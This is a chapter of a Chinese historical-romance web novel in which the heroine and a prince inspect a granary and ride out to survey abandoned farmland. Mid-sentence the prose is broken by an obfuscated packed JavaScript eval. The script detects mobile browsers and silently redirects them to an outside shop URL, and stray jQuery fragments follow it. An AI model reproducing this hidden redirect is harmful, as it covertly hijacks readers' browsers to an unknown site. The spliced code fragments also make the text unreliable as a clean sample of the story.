庆县的粮仓位于城料仓的正西方向,距离城料仓不过三里地,面积是城料仓的五分之三大小。

    粮仓应是后修建起来的,大门上的漆料尚未有丝毫脱落,周遭的围墙也是由条石砌成,观感上比城料仓好上许多。

    祝宁隔着百来丈就瞧见粮仓大门前聚集着一堆人,而李怀瑾站在其中尤为惹眼。

    他今日着一身靛蓝色劲装,腰间系着玄色绦带,勾勒出紧实流畅的腰线,乌黑的头发由一顶嵌着玉的银冠高高束起。走近一看,那衣料上还镶绣着银丝流云纹,绦带下悬着一块青色鱼纹玉佩。

    整个人看上去低调却又不失尊贵。

    李怀瑾衣品极好,每日的穿搭几乎不重样,但又总是很符合不同的场景。

    巡视城墙修缮时,他会穿玄色劲装,不缀任何装饰物,干净利落,便于行动;接待往来行商时,他则着一袭月白锦袍,腰间悬白玉螭龙玉佩,温和如玉但又彰显身份;关怀县中伤民时,他又是一身素净的竹青色便装,平易近人,如涓涓春水。

    祝宁轻啧一声,叹道:还真别说,每天对着这般人模人样的公子哥,上班也是养眼的。

    毕竟在现代,根本不能指望工地上出现集爱干净、不抽烟、不喝酒、不胡来还长得好看于一体的男性。

    祝宁悄无声息地靠近,在距离李怀瑾一丈远的地方停下脚步,静待他与押送货物的负责人结束交谈。

    等待的时间里,她看看天又看看地,探头去瞧正在搬运粮食的工人,又转回视线看向李怀瑾的侧脸。看似无聊得紧,实则竖着耳朵,将两人的谈话听了个干净。

    “要听便站过来光明正大地听罢。”

    李怀瑾侧身转头,与祝宁目光相接。

    祝宁眨巴眨巴眼睛,嘴硬道:“站在这里也是在光明正大地听啊……”

    她嘴上如此反驳,双脚却很诚实地迈开步子,走到李怀瑾身侧站定。

    “此次运送来的粮食和农具就这么些,途中损耗已一应记录在册,请王爷过目。”

    李怀瑾接过账册细看一番,把账册顺手递给在他身边悄悄踮脚的祝宁。

    余光瞧见她一拿到账册就迫不及待地翻看起来,李怀瑾嘴角微扬,对眼前的驿卒道:“各位辛苦,客栈已备好,今日便留在城中休整一日。”

    “多谢王爷!”

    待驿卒去指挥卸货,李怀瑾低头看向还在认真看账的祝宁,问她:“你怎么来了?”

    “府上人说王爷一大早就来粮仓了,民女有事想问问王爷,自然就跟过来了。”祝宁一心二用地答道。

    李怀瑾在一旁耐心等待着,待祝宁翻看完最后一页,合上账本,才又提问:“你找本王何事?”

    账册上除了记录有各类粮食外,还记录着不同农具的型号、数量,联想到昨晚王大婶所言之语,祝宁几乎确定了李怀瑾接下来想要干什么。

    “民女听闻不日后便要开始重垦荒地,想问问王爷对此有何计划。”她晃了晃手中的账册,“不过眼下看来——王爷早已有了规划,农具都运到了。”

    正说着,有两个人便哼哧哼哧地抬着一架铁犁步入粮仓。

    李怀瑾轻声一笑,听不出是夸奖还是暗讽:“你倒是对各类公事都极为上心。”

    祝宁只当他是在夸自己,遂顺着他的话讲:“既然从王爷手中领了月钱,那为王爷分忧便是民女应该做的。”

    “亓从连,你且在此处仔细看顾着。”李怀瑾稍稍提高音量,得到不远处正在帮忙卸载货物的亓从连的回应后,他对祝宁道,“走,进去找个屋子坐着聊。”

    与城料仓的仓管值班房相比,这里的值班房要更为宽敞,屋内设有两张单人床、一张实木方桌和几张矮凳。

    仓管们去仓内跟着盘点了,值班房内此时无人。祝宁和李怀瑾进去后各执一凳,在方桌旁相对而坐。

    李怀瑾率先挑起话头,他道:“如今城中房屋及管道的修缮已完成,城墙修缮在你的排布下也加快了进度,剩余的墙段只需一个班组便可完成。”

    在祝宁的影响下,李怀瑾用起她提出的一些新鲜词汇愈加熟练顺口。

    “人手都空了出来,自然要着手准备开垦田地,否则这粮仓总有坐吃山空的一天。”李怀瑾缓声道。

    祝宁猛点头,表示非常理解李怀瑾的担忧,她试探性地发问:“王爷对这田地开垦的具体步骤可有规划了?”

    具体步骤?种地无非就是用铁犁翻地、播种、埋土、灌水,难不成还有其他什么讲究?

    李怀瑾面露不解,直问道:“你想说什么?”

    在李怀瑾的多次默许下,祝宁现在已能在他面前畅所欲言。

    她瞧见李怀瑾眼中的疑惑,同他细数道:“民女昨夜从王婶儿处听说了一件事,她说这战前的田地是由横连山融化的雪水灌溉,但经此一战,引来雪水的沟渠都荒废了,所以呀,咱们是不是得把这沟渠给疏通疏通,再修一修?”

    “再说这田地,荒废了这么长时间,定是长满了杂草,那除了重新犁地翻土,是不是得先除除杂草?翻完土还不够,这土的肥沃程度如何?若是叫杂草吸去了养分,是不是还得沤地施肥,确保作物能够顺利生长?”

    李怀瑾听着,指腹在鱼纹玉佩上反复摩挲,眼睛一眨不眨地盯着祝宁张张合合的嘴。

    他必须得承认,或者说他在心里早已承认——祝宁的知识储备、真实才干、长远目光都远在他之上,远在大多数人之上,她谈起公事时,浑身上下都散发着自信,让人轻而易举地就迷了眼。

    “王爷?”

    “嗯,本王在听。”

    “那咱们什么时候去地里看一看?或者民女找个经验老道的婶子或大哥,跟着他们一起,王爷就不必……”

    “明日。”李怀瑾打断她的话,“本王明日找人领着一同前去。”

    “呃,好的。”祝宁抿了抿发干的嘴唇。

    还说她对公事上心,明明他这个王爷也不遑多让啊,事事都要亲眼督促着,还总是提前调来人力物资什么的……

    -

    次日一早,两人便跟着一位韩襄帮忙找来的老农

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680212|206387||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前往城外的田地。

    祝宁坐在老农驾驶的牛车上,李怀瑾则骑着一匹黑色鬃毛的骏马,放慢步子跟在牛车旁边。

    两人有一搭没一搭地聊着天。

    见祝宁的眼睛一直往马身上瞟,李怀瑾终是没忍住问出来:“你想骑?”

    “嗯嗯呢。”祝宁点头如捣蒜。

    “你会骑马?”

    “呃……”祝宁摇头如拨浪鼓。

    在短视频里看别人骑马都很帅,祝宁一直想找机会去草原旅游时顺便学一学怎么骑马,奈何假期时间总是不够充裕,直到现在她也没能实现这个愿望。

    想到这里,她心情低落地垂眸,撇了撇嘴。

    “本王可以教你……”

    祝宁猛抬头,眼睛直勾勾地盯着李怀瑾。

    “但不是现在,待日后闲暇时,本王命人找一匹温良的马驹,学起来轻松些。”

    “嗯嗯嗯呢!好!谢谢王爷!”祝宁点头频率快得像运作的缝纫机针脚。

    她简直想扑上去猛拍李怀瑾的后背,再补充一句“领导你真上道”。

    在马蹄声、牛蹄声、车轱辘在路上滚动发出的吱呀声以及两人的交谈声中,三人渐渐远离了庆县的城中心。

    “要出城咯——”老农挥动着鞭子,对两人提醒道。

    牛车穿过内侧的未被战乱波及的城门,视野一下子变得开阔起来。

    祝宁旅游时没来得及看到巍峨的祁连山,如今却在连绵的山脚下见到了雄伟壮阔的横连山。

    她没忍住发出一声惊叹:“哇塞——好美!”

    待在城中时,祝宁多数时间往返于住所、李怀瑾府上与城墙修缮现场,目光所及皆是眼前的人、事、物,并没有注意到远处时常匿于云间的起伏的山脉。

    如今远离城中心,她得以认真远望、观察这绵延千里的壮丽画卷。

    四月下旬的草木皆已翠绿,因此山脚到山腰的部分一片郁郁葱葱,让人感受到大自然的勃勃生机。视线上移,山腰至山顶被厚厚的积雪覆盖,那纯净的白在阳光的照射下愈发耀眼,纯白的雪线横亘在天际,将大地与广阔湛蓝天空分隔而开的同时又与其遥遥呼应。

    祝宁深呼吸一口,新鲜的空气灌进她的肺腑,她感觉自己快要飘起来了。

    牛车停在田野边的小路上,祝宁蹦跳着下了车,此刻心情还十分雀跃,喜笑颜开的。

    “王爷,祝姑娘,请随草民来罢。”老农拴好牛车,领着二人往田埂上走。

    祝宁欢快应声,提步跟了上去:“好嘞!”

    李怀瑾看她如此高兴,不忍破坏她此刻的好心情,只跟在她身后,时刻注意着她的状态。

    这片田地可不算小,若要走完,她的脚……

    李怀瑾轻叹一声,已经想好回去后找俞清为祝宁扎上两针了。

    “伯伯,您能同我讲讲你们之前是怎么耕种的吗?收成如何?”祝宁显然没有往自身情况上想,反而关心起田地的状况来。

    “当然,战前这地啊,可是家家户户争着做哟……”